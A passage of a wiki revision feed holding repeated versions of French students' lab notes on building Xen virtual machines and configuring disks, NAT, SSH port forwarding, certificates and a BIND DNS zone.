&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11990</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11990"/>
		<updated>2026-02-02T08:06:23Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11520</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11520"/>
		<updated>2026-01-27T16:53:36Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
